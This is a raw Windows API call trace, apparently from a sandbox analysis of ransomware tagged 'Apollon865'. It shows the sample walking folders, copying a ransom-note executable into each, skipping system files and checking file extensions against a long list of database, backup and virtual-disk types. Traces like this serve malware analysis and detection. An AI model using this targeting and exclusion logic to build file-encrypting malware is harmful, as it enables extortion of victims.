	[0059.281] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e947370, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e947370, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0059.281] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0059.281] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0059.281] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0059.281] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0059.281] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2e947370, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2e947370, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0059.281] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0059.281] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e96d4d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e96d4d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="new", cAlternateFileName="")) returned 1
	[0059.281] lstrcmpiW (lpString1="new", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0059.281] lstrcmpiW (lpString1="new", lpString2="Apollon865.txt.exe") returned 1
	[0059.281] lstrcmpiW (lpString1="new", lpString2=".") returned 1
	[0059.281] lstrcmpiW (lpString1="new", lpString2="..") returned 1
	[0059.281] lstrcmpiW (lpString1="new", lpString2="windows") returned -1
	[0059.281] lstrcmpiW (lpString1="new", lpString2="bootmgr") returned 1
	[0059.281] lstrcmpiW (lpString1="new", lpString2="temp") returned -1
	[0059.281] lstrcmpiW (lpString1="new", lpString2="pagefile.sys") returned -1
	[0059.281] lstrcmpiW (lpString1="new", lpString2="boot") returned 1
	[0059.281] lstrcmpiW (lpString1="new", lpString2="ids.txt") returned 1
	[0059.281] lstrcmpiW (lpString1="new", lpString2="ntuser.dat") returned -1
	[0059.281] lstrcmpiW (lpString1="new", lpString2="perflogs") returned -1
	[0059.281] lstrcmpiW (lpString1="new", lpString2="MSBuild") returned 1
	[0059.281] lstrlenW (lpString="new") returned 3
	[0059.281] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\*") returned 62
	[0059.281] lstrcpyW (in: lpString1=0x119e682, lpString2="new" | out: lpString1="new") returned="new"
	[0059.281] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b08
	[0059.282] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x82) returned 0x5b8f28
	[0059.282] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7b10 | out: ListHead=0x5b75f0, ListEntry=0x5b7b10) returned 0x59fcb0
	[0059.282] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e96d4d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e96d4d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="new", cAlternateFileName="")) returned 0
	[0059.282] FindClose (in: hFindFile=0x5ca2d0 | out: hFindFile=0x5ca2d0) returned 1
	[0059.282] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7b10
	[0059.282] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\new", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\new") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\new"
	[0059.282] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8f28 | out: hHeap=0x580000) returned 1
	[0059.282] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b08 | out: hHeap=0x580000) returned 1
	[0059.282] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\new") returned 64
	[0059.282] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\new" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\new") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\new"
	[0059.282] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0059.282] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\new\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\backup\\new\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0059.282] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
	[0059.283] GetLastError () returned 0x0
	[0059.283] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0059.283] ReadFile (in: hFile=0x118, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0059.283] CloseHandle (hObject=0x118) returned 1
	[0059.283] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0059.283] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0059.283] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\new\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e96d4d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e96d4d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0059.283] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0059.283] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0059.283] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0059.283] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e96d4d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e96d4d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0059.283] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0059.283] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0059.283] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0059.283] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0059.283] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x650f7e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x650f7e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2f2de8d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x200000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="edb00001.log", cAlternateFileName="")) returned 1
	[0059.283] lstrcmpiW (lpString1="edb00001.log", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0059.283] lstrcmpiW (lpString1="edb00001.log", lpString2="Apollon865.txt.exe") returned 1
	[0059.283] lstrcmpiW (lpString1="edb00001.log", lpString2=".") returned 1
	[0059.283] lstrcmpiW (lpString1="edb00001.log", lpString2="..") returned 1
	[0059.283] lstrcmpiW (lpString1="edb00001.log", lpString2="windows") returned -1
	[0059.283] lstrcmpiW (lpString1="edb00001.log", lpString2="bootmgr") returned 1
	[0059.283] lstrcmpiW (lpString1="edb00001.log", lpString2="temp") returned -1
	[0059.284] lstrcmpiW (lpString1="edb00001.log", lpString2="pagefile.sys") returned -1
	[0059.284] lstrcmpiW (lpString1="edb00001.log", lpString2="boot") returned 1
	[0059.284] lstrcmpiW (lpString1="edb00001.log", lpString2="ids.txt") returned -1
	[0059.284] lstrcmpiW (lpString1="edb00001.log", lpString2="ntuser.dat") returned -1
	[0059.284] lstrcmpiW (lpString1="edb00001.log", lpString2="perflogs") returned -1
	[0059.284] lstrcmpiW (lpString1="edb00001.log", lpString2="MSBuild") returned -1
	[0059.284] lstrlenW (lpString="edb00001.log") returned 12
	[0059.284] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\new\\*") returned 66
	[0059.284] lstrcpyW (in: lpString1=0x119e68a, lpString2="edb00001.log" | out: lpString1="edb00001.log") returned="edb00001.log"
	[0059.284] lstrlenW (lpString="edb00001.log") returned 12
	[0059.284] lstrlenW (lpString="Apollon865") returned 10
	[0059.284] lstrcmpiW (lpString1="b00001.log", lpString2="Apollon865") returned 1
	[0059.284] lstrlenW (lpString=".dll") returned 4
	[0059.284] lstrcmpiW (lpString1="edb00001.log", lpString2=".dll") returned 1
	[0059.284] lstrlenW (lpString=".lnk") returned 4
	[0059.284] lstrcmpiW (lpString1="edb00001.log", lpString2=".lnk") returned 1
	[0059.284] lstrlenW (lpString=".ini") returned 4
	[0059.284] lstrcmpiW (lpString1="edb00001.log", lpString2=".ini") returned 1
	[0059.284] lstrlenW (lpString=".sys") returned 4
	[0059.284] lstrcmpiW (lpString1="edb00001.log", lpString2=".sys") returned 1
	[0059.284] lstrlenW (lpString="edb00001.log") returned 12
	[0059.284] lstrlenW (lpString="bak") returned 3
	[0059.284] lstrcmpiW (lpString1="log", lpString2="bak") returned 1
	[0059.284] lstrlenW (lpString="ba_") returned 3
	[0059.284] lstrcmpiW (lpString1="log", lpString2="ba_") returned 1
	[0059.284] lstrlenW (lpString="dbb") returned 3
	[0059.284] lstrcmpiW (lpString1="log", lpString2="dbb") returned 1
	[0059.284] lstrlenW (lpString="vmdk") returned 4
	[0059.284] lstrcmpiW (lpString1=".log", lpString2="vmdk") returned -1
	[0059.284] lstrlenW (lpString="rar") returned 3
	[0059.284] lstrcmpiW (lpString1="log", lpString2="rar") returned -1
	[0059.284] lstrlenW (lpString="zip") returned 3
	[0059.285] lstrcmpiW (lpString1="log", lpString2="zip") returned -1
	[0059.285] lstrlenW (lpString="tgz") returned 3
	[0059.285] lstrcmpiW (lpString1="log", lpString2="tgz") returned -1
	[0059.285] lstrlenW (lpString="vbox") returned 4
	[0059.285] lstrcmpiW (lpString1=".log", lpString2="vbox") returned -1
	[0059.285] lstrlenW (lpString="vdi") returned 3
	[0059.285] lstrcmpiW (lpString1="log", lpString2="vdi") returned -1
	[0059.285] lstrlenW (lpString="vhd") returned 3
	[0059.285] lstrcmpiW (lpString1="log", lpString2="vhd") returned -1
	[0059.285] lstrlenW (lpString="vhdx") returned 4
	[0059.285] lstrcmpiW (lpString1=".log", lpString2="vhdx") returned -1
	[0059.285] lstrlenW (lpString="avhd") returned 4
	[0059.285] lstrcmpiW (lpString1=".log", lpString2="avhd") returned -1
	[0059.285] lstrlenW (lpString="db") returned 2
	[0059.285] lstrcmpiW (lpString1="og", lpString2="db") returned 1
	[0059.285] lstrlenW (lpString="db2") returned 3
	[0059.285] lstrcmpiW (lpString1="log", lpString2="db2") returned 1
	[0059.285] lstrlenW (lpString="db3") returned 3
	[0059.285] lstrcmpiW (lpString1="log", lpString2="db3") returned 1
	[0059.285] lstrlenW (lpString="dbf") returned 3
	[0059.285] lstrcmpiW (lpString1="log", lpString2="dbf") returned 1
	[0059.285] lstrlenW (lpString="mdf") returned 3
	[0059.285] lstrcmpiW (lpString1="log", lpString2="mdf") returned -1
	[0059.285] lstrlenW (lpString="mdb") returned 3
	[0059.285] lstrcmpiW (lpString1="log", lpString2="mdb") returned -1
	[0059.285] lstrlenW (lpString="sql") returned 3
	[0059.285] lstrcmpiW (lpString1="log", lpString2="sql") returned -1
	[0059.285] lstrlenW (lpString="sqlite") returned 6
	[0059.285] lstrcmpiW (lpString1="01.log", lpString2="sqlite") returned -1
	[0059.285] lstrlenW (lpString="sqlite3") returned 7
	[0059.285] lstrcmpiW (lpString1="001.log", lpString2="sqlite3") returned -1
	[0059.285] lstrlenW (lpString="sqlitedb") returned 8
	[0059.285] lstrcmpiW (lpString1="0001.log", lpString2="sqlitedb") returned -1
	[0059.285] lstrlenW (lpString="xml") returned 3
	[0059.286] lstrcmpiW (lpString1="log", lpString2="xml") returned -1
	[0059.286] lstrlenW (lpString="$er") returned 3
	[0059.286] lstrcmpiW (lpString1="log", lpString2="$er") returned 1
	[0059.286] lstrlenW (lpString="4dd") returned 3
	[0059.286] lstrcmpiW (lpString1="log", lpString2="4dd") returned 1
	[0059.286] lstrlenW (lpString="4dl") returned 3
	[0059.286] lstrcmpiW (lpString1="log", lpString2="4dl") returned 1
	[0059.286] lstrlenW (lpString="^^^") returned 3
	[0059.286] lstrcmpiW (lpString1="log", lpString2="^^^") returned 1
	[0059.286] lstrlenW (lpString="abs") returned 3
	[0059.286] lstrcmpiW (lpString1="log", lpString2="abs") returned 1
	[0059.286] lstrlenW (lpString="abx") returned 3
	[0059.286] lstrcmpiW (lpString1="log", lpString2="abx") returned 1
	[0059.286] lstrlenW (lpString="accdb") returned 5
	[0059.286] lstrcmpiW (lpString1="1.log", lpString2="accdb") returned -1
	[0059.286] lstrlenW (lpString="accdc") returned 5
	[0059.286] lstrcmpiW (lpString1="1.log", lpString2="accdc") returned -1
	[0059.286] lstrlenW (lpString="accde") returned 5
	[0059.286] lstrcmpiW (lpString1="1.log", lpString2="accde") returned -1
	[0059.286] lstrlenW (lpString="accdr") returned 5
	[0059.286] lstrcmpiW (lpString1="1.log", lpString2="accdr") returned -1
	[0059.286] lstrlenW (lpString="accdt") returned 5
	[0059.286] lstrcmpiW (lpString1="1.log", lpString2="accdt") returned -1
	[0059.286] lstrlenW (lpString="accdw") returned 5
	[0059.286] lstrcmpiW (lpString1="1.log", lpString2="accdw") returned -1
	[0059.286] lstrlenW (lpString="accft") returned 5
	[0059.286] lstrcmpiW (lpString1="1.log", lpString2="accft") returned -1
	[0059.286] lstrlenW (lpString="adb") returned 3
	[0059.286] lstrcmpiW (lpString1="log", lpString2="adb") returned 1
	[0059.286] lstrlenW (lpString="adb") returned 3
	[0059.286] lstrcmpiW (lpString1="log", lpString2="adb") returned 1
	[0059.286] lstrlenW (lpString="ade") returned 3
	[0059.286] lstrcmpiW (lpString1="log", lpString2="ade") returned 1
	[0059.286] lstrlenW (lpString="adf") returned 3
	[0059.287] lstrcmpiW (lpString1="log", lpString2="adf") returned 1
	[0059.287] lstrlenW (lpString="adn") returned 3
	[0059.287] lstrcmpiW (lpString1="log", lpString2="adn") returned 1
	[0059.287] lstrlenW (lpString="adp") returned 3
	[0059.287] lstrcmpiW (lpString1="log", lpString2="adp") returned 1
	[0059.287] lstrlenW (lpString="alf") returned 3
	[0059.287] lstrcmpiW (lpString1="log", lpString2="alf") returned 1
	[0059.287] lstrlenW (lpString="ask") returned 3
	[0059.287] lstrcmpiW (lpString1="log", lpString2="ask") returned 1
	[0059.287] lstrlenW (lpString="btr") returned 3
	[0059.287] lstrcmpiW (lpString1="log", lpString2="btr") returned 1
	[0059.287] lstrlenW (lpString="cat") returned 3
	[0059.287] lstrcmpiW (lpString1="log", lpString2="cat") returned 1
	[0059.287] lstrlenW (lpString="cdb") returned 3
	[0059.287] lstrcmpiW (lpString1="log", lpString2="cdb") returned 1
	[0059.287] lstrlenW (lpString="ckp") returned 3
	[0059.287] lstrcmpiW (lpString1="log", lpString2="ckp") returned 1
	[0059.287] lstrlenW (lpString="cma") returned 3
	[0059.287] lstrcmpiW (lpString1="log", lpString2="cma") returned 1
	[0059.287] lstrlenW (lpString="cpd") returned 3
	[0059.287] lstrcmpiW (lpString1="log", lpString2="cpd") returned 1
	[0059.287] lstrlenW (lpString="dacpac") returned 6
	[0059.287] lstrcmpiW (lpString1="01.log", lpString2="dacpac") returned -1
	[0059.287] lstrlenW (lpString="dad") returned 3
	[0059.287] lstrcmpiW (lpString1="log", lpString2="dad") returned 1
	[0059.287] lstrlenW (lpString="dadiagrams") returned 10
	[0059.287] lstrcmpiW (lpString1="b00001.log", lpString2="dadiagrams") returned -1
	[0059.287] lstrlenW (lpString="daschema") returned 8
	[0059.287] lstrcmpiW (lpString1="0001.log", lpString2="daschema") returned -1
	[0059.287] lstrlenW (lpString="db-journal") returned 10
	[0059.287] lstrcmpiW (lpString1="b00001.log", lpString2="db-journal") returned -1
	[0059.287] lstrlenW (lpString="db-shm") returned 6
	[0059.287] lstrcmpiW (lpString1="01.log", lpString2="db-shm") returned -1
	[0059.287] lstrlenW (lpString="db-wal") returned 6
	[0059.288] lstrcmpiW (lpString1="01.log", lpString2="db-wal") returned -1
	[0059.288] lstrlenW (lpString="dbc") returned 3
	[0059.288] lstrcmpiW (lpString1="log", lpString2="dbc") returned 1
	[0059.288] lstrlenW (lpString="dbs") returned 3
	[0059.288] lstrcmpiW (lpString1="log", lpString2="dbs") returned 1
	[0059.288] lstrlenW (lpString="dbt") returned 3
	[0059.288] lstrcmpiW (lpString1="log", lpString2="dbt") returned 1
	[0059.288] lstrlenW (lpString="dbv") returned 3
	[0059.288] lstrcmpiW (lpString1="log", lpString2="dbv") returned 1
	[0059.288] lstrlenW (lpString="dbx") returned 3
	[0059.288] lstrcmpiW (lpString1="log", lpString2="dbx") returned 1
	[0059.288] lstrlenW (lpString="dcb") returned 3
	[0059.288] lstrcmpiW (lpString1="log", lpString2="dcb") returned 1
	[0059.288] lstrlenW (lpString="dct") returned 3
	[0059.288] lstrcmpiW (lpString1="log", lpString2="dct") returned 1
	[0059.288] lstrlenW (lpString="dcx") returned 3
	[0059.288] lstrcmpiW (lpString1="log", lpString2="dcx") returned 1
	[0059.288] lstrlenW (lpString="ddl") returned 3
	[0059.288] lstrcmpiW (lpString1="log", lpString2="ddl") returned 1
	[0059.288] lstrlenW (lpString="dlis") returned 4
	[0059.288] lstrcmpiW (lpString1=".log", lpString2="dlis") returned -1
	[0059.288] lstrlenW (lpString="dp1") returned 3
	[0059.288] lstrcmpiW (lpString1="log", lpString2="dp1") returned 1
	[0059.288] lstrlenW (lpString="dqy") returned 3
	[0059.288] lstrcmpiW (lpString1="log", lpString2="dqy") returned 1
	[0059.288] lstrlenW (lpString="dsk") returned 3
	[0059.288] lstrcmpiW (lpString1="log", lpString2="dsk") returned 1
	[0059.288] lstrlenW (lpString="dsn") returned 3
	[0059.288] lstrcmpiW (lpString1="log", lpString2="dsn") returned 1
	[0059.288] lstrlenW (lpString="dtsx") returned 4
	[0059.288] lstrcmpiW (lpString1=".log", lpString2="dtsx") returned -1
	[0059.288] lstrlenW (lpString="dxl") returned 3
	[0059.288] lstrcmpiW (lpString1="log", lpString2="dxl") returned 1
	[0059.288] lstrlenW (lpString="eco") returned 3
	[0059.289] lstrcmpiW (lpString1="log", lpString2="eco") returned 1
	[0059.289] lstrlenW (lpString="ecx") returned 3
	[0059.289] lstrcmpiW (lpString1="log", lpString2="ecx") returned 1
	[0059.289] lstrlenW (lpString="edb") returned 3
	[0059.289] lstrcmpiW (lpString1="log", lpString2="edb") returned 1
	[0059.289] lstrlenW (lpString="epim") returned 4
	[0059.289] lstrcmpiW (lpString1=".log", lpString2="epim") returned -1
	[0059.289] lstrlenW (lpString="fcd") returned 3
	[0059.289] lstrcmpiW (lpString1="log", lpString2="fcd") returned 1
	[0059.289] lstrlenW (lpString="fdb") returned 3
	[0059.289] lstrcmpiW (lpString1="log", lpString2="fdb") returned 1
	[0059.289] lstrlenW (lpString="fic") returned 3
	[0059.289] lstrcmpiW (lpString1="log", lpString2="fic") returned 1
	[0059.289] lstrlenW (lpString="flexolibrary") returned 12
	[0059.289] lstrlenW (lpString="fm5") returned 3
	[0059.289] lstrcmpiW (lpString1="log", lpString2="fm5") returned 1
	[0059.289] lstrlenW (lpString="fmp") returned 3
	[0059.289] lstrcmpiW (lpString1="log", lpString2="fmp") returned 1
	[0059.289] lstrlenW (lpString="fmp12") returned 5
	[0059.289] lstrcmpiW (lpString1="1.log", lpString2="fmp12") returned -1
	[0059.289] lstrlenW (lpString="fmpsl") returned 5
	[0059.289] lstrcmpiW (lpString1="1.log", lpString2="fmpsl") returned -1
	[0059.289] lstrlenW (lpString="fol") returned 3
	[0059.289] lstrcmpiW (lpString1="log", lpString2="fol") returned 1
	[0059.289] lstrlenW (lpString="fp3") returned 3
	[0059.289] lstrcmpiW (lpString1="log", lpString2="fp3") returned 1
	[0059.289] lstrlenW (lpString="fp4") returned 3
	[0059.289] lstrcmpiW (lpString1="log", lpString2="fp4") returned 1
	[0059.289] lstrlenW (lpString="fp5") returned 3
	[0059.289] lstrcmpiW (lpString1="log", lpString2="fp5") returned 1
	[0059.289] lstrlenW (lpString="fp7") returned 3
	[0059.289] lstrcmpiW (lpString1="log", lpString2="fp7") returned 1
	[0059.289] lstrlenW (lpString="fpt") returned 3
	[0059.289] lstrcmpiW (lpString1="log", lpString2="fpt") returned 1
	[0059.290] lstrlenW (lpString="frm") returned 3
	[0059.290] lstrcmpiW (lpString1="log", lpString2="frm") returned 1
	[0059.290] lstrlenW (lpString="gdb") returned 3
	[0059.290] lstrcmpiW (lpString1="log", lpString2="gdb") returned 1
	[0059.290] lstrlenW (lpString="gdb") returned 3
	[0059.290] lstrcmpiW (lpString1="log", lpString2="gdb") returned 1
	[0059.290] lstrlenW (lpString="grdb") returned 4
	[0059.290] lstrcmpiW (lpString1=".log", lpString2="grdb") returned -1
	[0059.290] lstrlenW (lpString="gwi") returned 3
	[0059.290] lstrcmpiW (lpString1="log", lpString2="gwi") returned 1
	[0059.290] lstrlenW (lpString="hdb") returned 3
	[0059.290] lstrcmpiW (lpString1="log", lpString2="hdb") returned 1
	[0059.290] lstrlenW (lpString="his") returned 3
	[0059.290] lstrcmpiW (lpString1="log", lpString2="his") returned 1
	[0059.290] lstrlenW (lpString="ib") returned 2
	[0059.290] lstrcmpiW (lpString1="og", lpString2="ib") returned 1
	[0059.290] lstrlenW (lpString="idb") returned 3
	[0059.290] lstrcmpiW (lpString1="log", lpString2="idb") returned 1
	[0059.290] lstrlenW (lpString="ihx") returned 3
	[0059.290] lstrcmpiW (lpString1="log", lpString2="ihx") returned 1
	[0059.290] lstrlenW (lpString="itdb") returned 4
	[0059.290] lstrcmpiW (lpString1=".log", lpString2="itdb") returned -1
	[0059.290] lstrlenW (lpString="itw") returned 3
	[0059.290] lstrcmpiW (lpString1="log", lpString2="itw") returned 1
	[0059.290] lstrlenW (lpString="jet") returned 3
	[0059.290] lstrcmpiW (lpString1="log", lpString2="jet") returned 1
	[0059.290] lstrlenW (lpString="jtx") returned 3
	[0059.290] lstrcmpiW (lpString1="log", lpString2="jtx") returned 1
	[0059.290] lstrlenW (lpString="kdb") returned 3
	[0059.290] lstrcmpiW (lpString1="log", lpString2="kdb") returned 1
	[0059.290] lstrlenW (lpString="kexi") returned 4
	[0059.290] lstrcmpiW (lpString1=".log", lpString2="kexi") returned -1
	[0059.290] lstrlenW (lpString="kexic") returned 5
	[0059.290] lstrcmpiW (lpString1="1.log", lpString2="kexic") returned -1
	[0059.291] lstrlenW (lpString="kexis") returned 5
	[0059.291] lstrcmpiW (lpString1="1.log", lpString2="kexis") returned -1
	[0059.291] lstrlenW (lpString="lgc") returned 3
	[0059.291] lstrcmpiW (lpString1="log", lpString2="lgc") returned 1
	[0059.291] lstrlenW (lpString="lwx") returned 3
	[0059.291] lstrcmpiW (lpString1="log", lpString2="lwx") returned -1
	[0059.291] lstrlenW (lpString="maf") returned 3
	[0059.291] lstrcmpiW (lpString1="log", lpString2="maf") returned -1
	[0059.291] lstrlenW (lpString="maq") returned 3
	[0059.291] lstrcmpiW (lpString1="log", lpString2="maq") returned -1
	[0059.291] lstrlenW (lpString="mar") returned 3
	[0059.291] lstrcmpiW (lpString1="log", lpString2="mar") returned -1
	[0059.291] lstrlenW (lpString="marshal") returned 7
	[0059.291] lstrcmpiW (lpString1="001.log", lpString2="marshal") returned -1
	[0059.291] lstrlenW (lpString="mas") returned 3
	[0059.291] lstrcmpiW (lpString1="log", lpString2="mas") returned -1
	[0059.291] lstrlenW (lpString="mav") returned 3
	[0059.291] lstrcmpiW (lpString1="log", lpString2="mav") returned -1
	[0059.291] lstrlenW (lpString="maw") returned 3
	[0059.291] lstrcmpiW (lpString1="log", lpString2="maw") returned -1
	[0059.291] lstrlenW (lpString="mdbhtml") returned 7
	[0059.291] lstrcmpiW (lpString1="001.log", lpString2="mdbhtml") returned -1
	[0059.291] lstrlenW (lpString="mdn") returned 3
	[0059.291] lstrcmpiW (lpString1="log", lpString2="mdn") returned -1
	[0059.291] lstrlenW (lpString="mdt") returned 3
	[0059.291] lstrcmpiW (lpString1="log", lpString2="mdt") returned -1
	[0059.291] lstrlenW (lpString="mfd") returned 3
	[0059.291] lstrcmpiW (lpString1="log", lpString2="mfd") returned -1
	[0059.291] lstrlenW (lpString="mpd") returned 3
	[0059.291] lstrcmpiW (lpString1="log", lpString2="mpd") returned -1
	[0059.291] lstrlenW (lpString="mrg") returned 3
	[0059.291] lstrcmpiW (lpString1="log", lpString2="mrg") returned -1
	[0059.291] lstrlenW (lpString="mud") returned 3
	[0059.291] lstrcmpiW (lpString1="log", lpString2="mud") returned -1
	[0059.292] lstrlenW (lpString="mwb") returned 3
	[0059.292] lstrcmpiW (lpString1="log", lpString2="mwb") returned -1
	[0059.292] lstrlenW (lpString="myd") returned 3
	[0059.292] lstrcmpiW (lpString1="log", lpString2="myd") returned -1
	[0059.292] lstrlenW (lpString="ndf") returned 3
	[0059.292] lstrcmpiW (lpString1="log", lpString2="ndf") returned -1
	[0059.292] lstrlenW (lpString="nnt") returned 3
	[0059.292] lstrcmpiW (lpString1="log", lpString2="nnt") returned -1
	[0059.292] lstrlenW (lpString="nrmlib") returned 6
	[0059.292] lstrcmpiW (lpString1="01.log", lpString2="nrmlib") returned -1
	[0059.292] lstrlenW (lpString="ns2") returned 3
	[0059.292] lstrcmpiW (lpString1="log", lpString2="ns2") returned -1
	[0059.292] lstrlenW (lpString="ns3") returned 3
	[0059.292] lstrcmpiW (lpString1="log", lpString2="ns3") returned -1
	[0059.292] lstrlenW (lpString="ns4") returned 3
	[0059.292] lstrcmpiW (lpString1="log", lpString2="ns4") returned -1
	[0059.292] lstrlenW (lpString="nsf") returned 3
	[0059.292] lstrcmpiW (lpString1="log", lpString2="nsf") returned -1
	[0059.292] lstrlenW (lpString="nv") returned 2
